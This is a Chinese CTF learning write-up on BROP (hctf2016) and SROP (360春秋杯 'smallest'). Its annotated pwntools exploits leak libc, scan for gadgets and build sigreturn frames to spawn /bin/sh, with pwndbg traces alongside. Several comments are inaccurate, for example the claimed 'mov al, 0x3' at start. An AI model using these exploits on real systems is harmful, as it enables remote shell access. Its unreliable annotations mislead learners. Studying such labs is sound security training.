花样ROP
下载地址:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux
BROP--hctf2016
由于水平有限,这个部分还没有完全搞懂,等到我能力成熟+研究透彻之后再为大家加上详细解题过程与思路,直接附上wiki的exp+AI注释版
cpp
#coding=utf8
# 导入所需模块
from pwn import * # pwntools:用于二进制漏洞利用的Python库,提供进程交互、汇编、ROP等功能
from LibcSearcher import * # LibcSearcher:根据已知函数地址(如puts)自动查找对应libc版本和偏移
# 初始连接目标(假设目标运行在本地9999端口)
sh = remote('127.0.0.1', 9999)
# 若本地调试,可取消下一行的注释,直接启动二进制程序
#sh = process('./brop')
# 设置日志级别为debug,可输出详细交互信息,便于调试(这里被注释)
#context.log_level = 'debug'
# ------------------- 函数定义部分(BROP攻击的各个探测步骤)-------------------
def getbufferflow_length():
"""
功能:探测缓冲区溢出的偏移长度(即从输入到返回地址之间的字节数)
原理:逐步增加输入长度,观察程序是否崩溃或返回信息改变。
当输入长度超过缓冲区大小时,程序可能崩溃(EOFError)或输出不再以"No password"开头,
则前一个长度即为溢出所需的最小长度。
"""
i = 1
while 1:
try:
# 每次重新连接,因为程序可能崩溃
sh = remote('127.0.0.1', 9999)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a') # 发送i个字符
output = sh.recv() # 接收返回信息
sh.close()
# 如果返回不以"No password"开头,说明程序可能因为溢出而执行了其他代码
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError: # 程序崩溃(通常是因为覆盖了返回地址)
sh.close()
return i - 1
def get_stop_addr(length):
"""
功能:寻找一个"stop gadget"地址------即一个不会导致程序崩溃且能正常返回的指令序列,
通常是一个ret指令或一段不会造成段错误的代码。用于ROP链中作为"着陆点",
防止程序在泄漏信息后崩溃。
原理:暴力枚举代码段地址,构造payload将返回地址覆盖为当前枚举地址,
若程序没有崩溃且能返回,则该地址可能是一个合适的stop gadget。
注意:此函数需要手动分析输出,实际使用时可能需要结合调试。
"""
addr = 0x400000 # 从代码段起始地址开始(通常是0x400000)
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) # 覆盖返回地址为addr
sh.sendline(payload)
content = sh.recv() # 接收输出
print content
sh.close()
print 'one success stop gadget addr: 0x%x' % (addr)
# 这里简单打印,实际应判断输出是否正常,如包含程序正常提示信息
addr += 1
except Exception: # 若发生异常(崩溃或超时),则继续尝试
addr += 1
sh.close()
def csu_gadget(csu_last, csu_middle, saved_addr, arg1=0x0, arg2=0x0, arg3=0x0):
"""
构造__libc_csu_init中的通用gadget,用于调用任意函数(x86-64)。
这是一种常用的ROP技术,利用程序中的两个gadget实现多参数调用。
但本exploit未使用此函数,仅作参考。
"""
payload = p64(csu_last) # pop rbx,rbp,r12,r13,r14,r15; ret
payload += p64(0x0) # rbx = 0
payload += p64(0x1) # rbp = 1
payload += p64(saved_addr) # r12 = 要调用的函数地址(经过计算)
payload += p64(arg3) # r13 -> rdx (第三个参数)
payload += p64(arg2) # r14 -> rsi (第二个参数)
payload += p64(arg1) # r15 -> edi (第一个参数)
payload += p64(csu_middle) # 执行 call [rbx + r12*8]
payload += 'A' * 56 # 填充到下一个ret(根据具体布局调整)
return payload
def get_brop_gadget(length, stop_gadget, addr):
"""
功能:测试某个地址addr是否为有用的gadget(如pop rdi; ret)。
原理:构造payload使程序执行addr,然后执行stop_gadget。
若程序正常输出(以"WelCome"开头),则addr可能是一个gadget,因为它没有导致崩溃,
并且能够执行到stop_gadget。
这是BROP攻击中"扫描"gadget的关键步骤。
"""
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
# payload结构:填充 + addr + 6个0 + stop_gadget + 10个0
# 目的是让程序跳转到addr,执行那里的代码,然后跳转到stop_gadget,最后返回。
# 6个0是为了平衡栈,因为addr之后可能还有pop等指令,我们需要保持栈平衡。
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# 如果输出以"WelCome"开头,说明程序正常返回到了stop_gadget,addr可能是一个无害的gadget
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False
def check_brop_gadget(length, addr):
"""
功能:验证addr是否真的为有用的gadget(如pop rdi; ret)。
原理:如果addr是pop rdi; ret这样的gadget,那么执行后它会从栈上弹出一个值到rdi,
然后ret到下一个地址。如果我们不给它提供正确的下一个地址,程序就会崩溃(因为ret到非法地址)。
因此,如果程序崩溃,则addr很可能是这种类型的gadget。
注意:此方法需要程序在非法地址访问时崩溃(通常如此)。
"""
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
# payload: 填充 + addr + 10个填充,没有有效的返回地址
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False # 如果程序正常返回,说明addr不是我们想要的那种gadget
except Exception:
sh.close()
return True # 程序崩溃,说明addr可能是pop; ret类型gadget
def find_brop_gadget(length, stop_gadget):
"""
功能:遍历地址空间,找到BROP gadget(通常为pop rdi; ret)。
步骤:先调用get_brop_gadget筛选可能的地址,再调用check_brop_gadget验证。
由于地址空间很大,通常从某个已知起始点(如0x400740)开始,因为常用gadget多位于此区域。
"""
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
return addr
addr += 1
def get_puts_addr(length, rdi_ret, stop_gadget):
"""
功能:通过ROP调用puts泄漏内存,找到puts@plt的地址。
原理:构造ROP链:pop rdi; ret | 参数(要泄漏的地址,如0x400000) | puts@plt | stop_gadget。
如果puts@plt的地址正确,程序会输出0x400000处的内容(ELF头部)。
我们从0x400000开始枚举地址,直到输出以"\x7fELF"开头,则该地址即为puts@plt。
注意:puts@plt是一小段代码,用于跳转到实际的puts函数,因此它的地址通常在代码段内。
"""
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
# payload: 填充 + pop rdi; ret + 参数(0x400000) + 试探地址addr(作为puts@plt) + stop_gadget
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
# 如果输出内容以ELF头开头,说明addr确实是puts@plt,因为它成功执行了puts并输出了0x400000处的数据
if content.startswith('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
"""
功能:泄漏指定地址leak_addr处的内容(通过puts输出)。
原理:构造ROP链:pop rdi; ret | leak_addr | puts_plt | stop_gadget。
接收puts输出的数据,并清理多余部分(如程序后续的"WelCome"提示)。
返回泄漏的字节串。
"""
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
# 尝试截取到换行和"WelCome"之前,因为puts输出后程序会继续输出提示
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None
def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
"""
功能:连续泄漏从0x400000到0x401000的内存,并保存到文件'code'。
可用于dump程序的代码段,便于后续分析。
"""
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)
# ------------------- 实际利用流程 -------------------
# 以下变量原本应通过上述函数动态获取,但为了节省时间,这里直接使用已知的值(已在之前运行过探测)
# 在实际攻击中,需要先运行探测函数获取这些值,然后注释掉探测代码,直接使用。
#length = getbufferflow_length() # 探测溢出长度
length = 72 # 已知溢出长度为72(需要根据实际情况调整)
#stop_gadget = get_stop_addr(length) # 探测stop gadget地址
stop_gadget = 0x4006b6 # 已知一个可用的stop gadget地址(通常是一个ret指令或无害代码)
#brop_gadget = find_brop_gadget(length,stop_gadget) # 探测brop gadget(pop rdi; ret)
brop_gadget = 0x4007ba # 已知brop gadget地址
# 在brop gadget(pop rbx, rbp, r12, r13, r14, r15; ret)之后9字节通常是pop rdi; ret
rdi_ret = brop_gadget + 9 # 计算出pop rdi; ret的地址
#puts_plt = get_puts_addr(length, rdi_ret, stop_gadget) # 探测puts@plt地址
puts_plt = 0x400560 # 已知puts@plt地址
# puts函数的GOT表地址(需要从程序的反汇编或已知信息中获得)
puts_got = 0x601018
# 开始漏洞利用
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
# 第一步:泄漏puts函数在内存中的实际地址
# 构造ROP链:溢出填充 + pop rdi; ret + puts_got地址 + puts_plt + stop_gadget
# 这样程序会执行puts(puts_got),输出GOT表中存放的puts实际地址(因为puts@plt会跳转到puts函数)
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True) # 接收直到遇到换行和"WelCome",丢弃这部分提示
# 接收到的数据是puts函数的地址(通常8字节),不足8字节时用'\x00'补齐,然后转换为整数
puts_addr = u64(data.ljust(8, '\x00'))
# 第二步:根据puts地址查找对应的libc版本,计算system函数和"/bin/sh"字符串的地址
libc = LibcSearcher('puts', puts_addr) # 自动搜索匹配的libc
libc_base = puts_addr - libc.dump('puts') # 计算libc基址
system_addr = libc_base + libc.dump('system') # system函数地址
binsh_addr = libc_base + libc.dump('str_bin_sh') # "/bin/sh"字符串地址
# 第三步:构造ROP链执行system("/bin/sh")
# 再次利用pop rdi; ret设置参数,然后调用system,最后用stop_gadget防止崩溃(实际上system不会返回)
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive() # 获得交互式shell,此时已经获取了目标主机的shell
SROP--2016-360春秋杯
1.IDA+checksec
cpp
[*] '/home/Debug/Desktop/2016-360\xe6\x98\xa5\xe7\xa7\x8b\xe6\x9d\xaf-srop/smallest'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
signed __int64 start()
{
_UNKNOWN *buf_; // [rsp+0h] [rbp+0h] BYREF
return sys_read(0, (char *)&buf_, 0x400u);
}
.text:00000000004000B0 ; =============== S U B R O U T I N E =======================================
.text:00000000004000B0
.text:00000000004000B0
.text:00000000004000B0 ; signed __int64 start()
.text:00000000004000B0 public start
.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
.text:00000000004000C0
.text:00000000004000C0 _text ends
.text:00000000004000C0
.text:00000000004000C0
.text:00000000004000C0 end start
2.攻击思路
阶段 1:泄露栈地址
程序初始执行流被 payload 覆盖返回地址后,栈布局(栈向下生长,低地址在上):
cpp
[高地址]
|-------------------|
| p64(start_addr) | # 返回地址被覆盖为 start_addr(重复3次,确保溢出覆盖)
| p64(start_addr) |
| p64(start_addr) |
|-------------------|
| 原栈数据 |
[低地址]
发送 \xb3 后,程序执行 read 并返回数据,从中解析出栈地址 S(栈地址泄露核心:read 的返回数据包含栈上的地址信息)。
阶段 2:构造 read 系统调用的 SigreturnFrame
发送 payload 后,栈布局(start_addr + 8 为栈帧起始,覆盖返回地址后):
cpp
[高地址]
|-------------------| 0x00
| p64(start_addr) | # 覆盖的返回地址(先跳回 start_addr 维持执行流)
|-------------------| 0x08
| 'a' * 8 | # 填充,对齐栈帧
|-------------------| 0x10
| rax = SYS_read(0) | # rax=0(read系统调用号)
| rdi = 0 | # fd=0(标准输入)
| rsi = S | # buf=栈地址S(要写入的目标地址)
| rdx = 0x400 | # count=0x400(读取的字节数)
| r10 = 0 | # 无关寄存器(SROP帧默认填充)
| r8 = 0 |
| r9 = 0 |
| rbp = 0 |
| rbx = 0 |
| rcx = 0 |
| rdx = 0x400 | # 重复(SigreturnFrame结构)
| rsp = S | # sigreturn后rsp指向栈地址S
| rip = syscall_ret | # 0x4000BE(执行syscall)
| rflags = 0x202 | # 标志位(默认)
| cs = 0x33 | # 段寄存器(64位默认)
| ss = 0x2b |
| rbp = 0 |
| rdi = 0 |
| rsi = S |
| rdx = 0x400 |
| rcx = 0 |
| r8 = 0 |
| r9 = 0 |
| rax = 0 |
| ...(其他寄存器) | # SigreturnFrame完整结构,无关寄存器填0
[低地址]
发送 sigreturn payload(p64(syscall_ret) + 'b'*7)后,rax 被设置为 15(sigreturn 系统调用号),执行 syscall 触发 sigreturn,内核从栈顶恢复上述帧,执行 read(0, S, 0x400)。
阶段 3:构造 execve 系统调用的 SigreturnFrame
read 操作将新 payload 写入栈地址 S,此时栈布局(S 为起始地址):
cpp
[高地址] S + 0x00
|-------------------|
| p64(start_addr) | # 覆盖返回地址,维持执行流
|-------------------| S + 0x08
| 'b' * 8 | # 填充
|-------------------| S + 0x10
| rax = SYS_execve | # rax=59(execve系统调用号)
| rdi = S + 0x120 | # /bin/sh 字符串的地址
| rsi = 0x0 | # argv=NULL
| rdx = 0x0 | # envp=NULL
| r10 = 0 |
| r8 = 0 |
| r9 = 0 |
| ...(其他寄存器) | # 无关寄存器填0
| rsp = S | # sigreturn后rsp指向S
| rip = syscall_ret | # 0x4000BE(执行syscall)
| ...(其他寄存器) | # SigreturnFrame剩余结构
|-------------------| S + 0x120
| "/bin/sh\x00" | # 字符串(必须以\x00结尾)
|-------------------| S + 0x128
| 填充\x00 | # 补齐到0x400长度
[低地址]
再次发送 sigreturn payload,rax=15 触发 sigreturn,内核恢复上述帧,执行 execve(S+0x120, 0, 0),最终执行 /bin/sh 拿到交互 shell。
关键细节补充
- rax 寄存器的控制 :程序起始地址
start_addr (0x4000B0)处有xor rax, rax,通过调整返回地址到start_addr+3跳过该指令,让 rax 保留为 1(为后续 read 系统调用铺垫)。 - SigreturnFrame 结构 :64 位下
SigreturnFrame是固定结构,包含所有通用寄存器、段寄存器、标志位等,pwnlib 的SigreturnFrame()会自动构造符合规范的帧。 - 栈地址对齐 :64 位下栈需按 8 字节对齐,因此 payload 中的填充(
'a'*8/'b'*8)是为了保证 SigreturnFrame 起始地址对齐,避免内核恢复寄存器时出错。 - 系统调用号 :x86_64 下:
read=0、sigreturn=15、execve=59(需与 constants.SYS_* 对应)。
3.exp
cpp
from pwn import *
# from LibcSearcher import * # 本题无需libc泄露,注释掉
# ========== 初始化环境与核心变量 ==========
small = ELF('./smallest') # 加载目标程序,解析ELF文件
sh = process('./smallest') # 启动本地进程,与目标程序交互
context.arch = 'amd64' # 设置架构为x86_64,确保gadget和系统调用号匹配
context.log_level = 'debug' # 开启调试日志,打印交互过程(发送/接收的数据)
# 核心gadget地址(通过ROPgadget/objdump找到)
syscall_ret = 0x00000000004000BE # "syscall; ret"指令地址,用于触发系统调用
start_addr = 0x00000000004000B0 # 程序起始地址,用于重置执行流
# ========== 阶段1:栈溢出覆盖返回地址,泄露栈地址 ==========
# 发送3次start_addr,覆盖栈上的返回地址(确保溢出足够长度)
# 目的:让程序执行流跳回start_addr,维持循环执行,为后续操作铺垫
payload = p64(start_addr) * 3
sh.send(payload)
# gdb.attach(sh) # 调试时开启,附加gdb到进程(可打断点分析栈布局)
# 发送\xxb3(十进制179),触发read系统调用并控制rax值
# 原理:start_addr处有"xor rax,rax; mov al, 0x3; syscall",跳过xor后rax=1(read返回值)
# read执行后会返回读取的数据,其中包含栈地址,以此泄露栈基地址
sh.send('\xb3')
# 解析返回数据,提取栈地址(8-16字节为64位栈地址)
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr)) # 打印泄露的栈地址,确认成功
# ========== 阶段2:构造read系统调用的SROP帧 ==========
# 初始化SigreturnFrame(pwnlib封装的SROP栈帧结构,自动填充寄存器)
# 目的:构造read(0, stack_addr, 0x400)的系统调用上下文
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read # rax=0(x86_64 read系统调用号)
sigframe.rdi = 0 # rdi=0(文件描述符,标准输入)
sigframe.rsi = stack_addr # rsi=栈基地址(read读取的数据写入到栈中)
sigframe.rdx = 0x400 # rdx=0x400(读取的字节数,足够容纳后续execve帧)
sigframe.rsp = stack_addr # sigreturn后rsp指向栈基地址,维持栈帧
sigframe.rip = syscall_ret # rip=syscall_ret,执行syscall触发read
# 构造payload:返回地址(start_addr) + 8字节填充(对齐) + SROP帧
# 填充'a'*8是为了让SROP帧起始地址满足8字节对齐,避免内核恢复寄存器崩溃
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload) # 发送read的SROP帧到栈中
# ========== 触发sigreturn,执行read系统调用 ==========
# 构造sigreturn触发payload:syscall_ret地址 + 7字节填充(共15字节)
# 原理:15字节数据会让rax=15(sigreturn系统调用号),执行syscall触发栈帧恢复
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn) # 触发sigreturn,内核恢复read帧并执行read
# ========== 阶段3:构造execve系统调用的SROP帧,获取shell ==========
# 重新初始化SigreturnFrame,构造execve("/bin/sh", 0, 0)的上下文
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve # rax=59(x86_64 execve系统调用号)
sigframe.rdi = stack_addr + 0x120 # rdi=/bin/sh字符串的地址(避开SROP帧区域)
sigframe.rsi = 0x0 # rsi=0(argv=NULL,execve参数要求)
sigframe.rdx = 0x0 # rdx=0(envp=NULL,execve参数要求)
sigframe.rsp = stack_addr # sigreturn后rsp指向栈基地址
sigframe.rip = syscall_ret # rip=syscall_ret,执行syscall触发execve
# 构造execve的SROP帧payload:返回地址 + 8字节填充 + SROP帧
frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print(len(frame_payload)) # 打印帧长度,确认填充偏移是否正确
# 拼接最终payload:execve帧 + 填充到0x120字节 + /bin/sh\x00(必须以\x00结尾)
# 0x120 - len(frame_payload)的填充是为了让/bin/sh字符串刚好落在stack_addr+0x120处
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload) # 发送execve帧到栈中(通过之前的read系统调用写入)
# 再次触发sigreturn,内核恢复execve帧并执行execve("/bin/sh")
sh.send(sigreturn)
# 开启交互模式,获取shell
sh.interactive()
补充注释说明(关键易错点):
- 栈地址泄露 :
sh.recv()[8:16]是根据程序输出格式确定的偏移,不同程序的泄露位置可能不同,核心是提取栈上的有效地址; - 8 字节对齐 :
'a'*8/'b'*8填充是 x86_64 架构的硬性要求,SROP 帧必须按 8 字节对齐,否则内核恢复寄存器时会崩溃; - sigreturn 触发 :
p64(syscall_ret) + 'b'*7共 15 字节,最终让 rax=15(sigreturn 系统调用号),这是 SROP 的核心触发条件; - /bin/sh 字符串 :必须以
\x00结尾,且地址要避开 SROP 帧区域(这里选stack_addr + 0x120),防止覆盖寄存器值; - 系统调用号 :x86_64 下
read=0、sigreturn=15、execve=59,与 x86(32 位)的系统调用号不同,必须匹配架构。
4.调试过程

成功调用read,返回的泄露地址,栈布局如下


以下是发送sigframe之后的栈布局
cpp
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

调用syscall之后形成syscall chain
cpp
调用之前栈布局
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
RAX 0xf
RBX 0x0
RCX 0x4000c0 ◂--- ret
RDX 0x400
RDI 0x0
RSI 0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall
R8 0x0
R9 0x0
R10 0x0
R11 0x346
R12 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
*RSP 0x7ffddf90c1db ◂--- 0x62626262626262 /* 'bbbbbbb' */
*RIP 0x4000be ◂--- syscall
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
0x4000c0 ret
↓
► 0x4000be syscall <SYS_rt_sigreturn>
rdi: 0x0
rsi: 0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall
rdx: 0x400
r10: 0x0
0x4000c0 ret
↓
0x4000be syscall <SYS_rt_sigreturn>
rdi: 0x0
rsi: 0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall
rdx: 0x400
r10: 0x0
0x4000c0 ret
↓
0x4000be syscall <SYS_rt_sigreturn>
rdi: 0x0
rsi: 0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall
rdx: 0x400
r10: 0x0
0x4000c0 ret
0x4000c1 add byte ptr [rsi], ch
0x4000c3 jae 0x40012d <0x40012d>
0x4000c5 jae 0x40013b <0x40013b>
0x4000c7 jb 0x40013d <0x40013d>
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsp 0x7ffddf90c1db ◂--- 0x62626262626262 /* 'bbbbbbb' */
01:0008│ 0x7ffddf90c1e3 ◂--- 0x0
... ↓
调用之后栈布局
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
*RAX 0x3b
RBX 0x0
*RCX 0x0
*RDX 0x0
*RDI 0x7ffddf90c2eb ◂--- 0x68732f6e69622f /* '/bin/sh' */
*RSI 0x0
R8 0x0
R9 0x0
R10 0x0
*R11 0x0
R12 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
*RSP 0x7ffddf90c1cb ---▸ 0x4000b0 ◂--- xor rax, rax
RIP 0x4000be ◂--- syscall
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
0x4000c0 ret
↓
► 0x4000be syscall <SYS_execve>
path: 0x7ffddf90c2eb ◂--- 0x68732f6e69622f /* '/bin/sh' */
argv: 0x0
envp: 0x0
0x4000c0 ret
↓
0x4000be syscall <SYS_execve>
path: 0x7ffddf90c2eb ◂--- 0x68732f6e69622f /* '/bin/sh' */
argv: 0x0
envp: 0x0
0x4000c0 ret
↓
0x4000be syscall <SYS_execve>
path: 0x7ffddf90c2eb ◂--- 0x68732f6e69622f /* '/bin/sh' */
argv: 0x0
envp: 0x0
0x4000c0 ret
0x4000c1 add byte ptr [rsi], ch
0x4000c3 jae 0x40012d <0x40012d>
0x4000c5 jae 0x40013b <0x40013b>
0x4000c7 jb 0x40013d <0x40013d>
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsp 0x7ffddf90c1cb ---▸ 0x4000b0 ◂--- xor rax, rax
01:0008│ 0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall
02:0010│ 0x7ffddf90c1db ◂--- 0x62626262626262 /* 'bbbbbbb' */
03:0018│ 0x7ffddf90c1e3 ◂--- 0x0
... ↓
调试结束,过程讲解的不是很清楚明白,所以需要读者自己一步步看代码,然后一步步ni调试查看相关栈布局以及汇编走向
我们ROP部分基本结束,但是学海无涯,我们不停进步💪💪💪